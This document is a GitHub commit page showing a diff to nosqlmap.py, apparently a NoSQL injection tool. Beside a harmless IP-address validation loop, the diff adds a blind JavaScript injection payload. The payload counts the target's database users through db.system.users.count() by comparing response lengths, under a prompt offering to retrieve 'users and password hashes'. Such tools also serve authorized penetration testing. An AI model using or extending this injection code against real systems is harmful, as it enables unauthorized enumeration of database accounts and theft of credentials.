Skip to content

Commit 9f7e060

Browse files
committed
Added IP address checking, get database user count
1 parent 1cd4ee1 commit 9f7e060

File tree

1 file changed

+51
-5
lines changed

1 file changed

+51
-5
lines changed

nosqlmap.py

Lines changed: 51 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -137,9 +137,36 @@ def options():
137137
select = raw_input("Select an option: ")
138138

139139
if select == "1":
140-
victim = raw_input("Enter the host IP/DNS name: ")
141-
print "\nTarget set to " + victim + "\n"
142-
optionSet[0] = True
140+
#Unset the boolean since we're setting it again.
141+
optionSet[0] = False
142+
goodLen = False
143+
goodDigits = False
144+
while optionSet[0] == False:
145+
victim = raw_input("Enter the host IP/DNS name: ")
146+
#make sure we got a valid IP
147+
octets = victim.split(".")
148+
#If there aren't 4 octets, toss an error.
149+
if len(octets) != 4:
150+
print "Invalid IP length."
151+
152+
else:
153+
goodLen = True
154+
155+
if goodLen == True:
156+
#If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
157+
for item in octets:
158+
if int(item) < 0 or int(item) > 255:
159+
print "Bad octet in IP address."
160+
goodDigits = False
161+
162+
else:
163+
goodDigits = True
164+
165+
166+
#If everything checks out set the IP and break the loop
167+
if goodLen == True and goodDigits == True:
168+
print "\nTarget set to " + victim + "\n"
169+
optionSet[0] = True
143170
options()
144171

145172
elif select == "2":
@@ -719,7 +746,7 @@ def webApps():
719746
else:
720747
print "Integer attack-Unsuccessful"
721748

722-
fileOut = raw_input("Save results to file?")
749+
fileOut = raw_input("Save results to file? ")
723750

724751
if fileOut == "y" or fileOut == "Y":
725752
savePath = raw_input("Enter output file name: ")
@@ -1080,9 +1107,11 @@ def getDBInfo():
10801107
gotDbName = False
10811108
gotColLen = False
10821109
gotColName = False
1110+
gotUserCnt = False
10831111
dbName = ""
10841112
charCounter = 0
10851113
nameCounter = 0
1114+
usrCount = 0
10861115
chars = string.ascii_letters + string.digits
10871116
print "Getting baseline True query return size..."
10881117
trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
@@ -1127,7 +1156,24 @@ def getDBInfo():
11271156

11281157
else:
11291158
charCounter += 1
1130-
print "\n"
1159+
print "\n"
1160+
1161+
getUserInf = raw_input("Get database users and password hashes? ")
1162+
1163+
if getUserInf == "y" or getUserInf == "Y":
1164+
while gotUserCnt == False:
1165+
usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a")
1166+
lenUri = int(len(urllib.urlopen(usrCntUri).read()))
1167+
1168+
if lenUri == baseLen:
1169+
print "Found " + str(usrCount) + " user(s)."
1170+
gotUserCnt = True
1171+
1172+
else:
1173+
usrCount += 1
1174+
1175+
1176+
11311177
raw_input("Press enter to continue...")
11321178

11331179
mainMenu()

0 commit comments

Comments
 (0)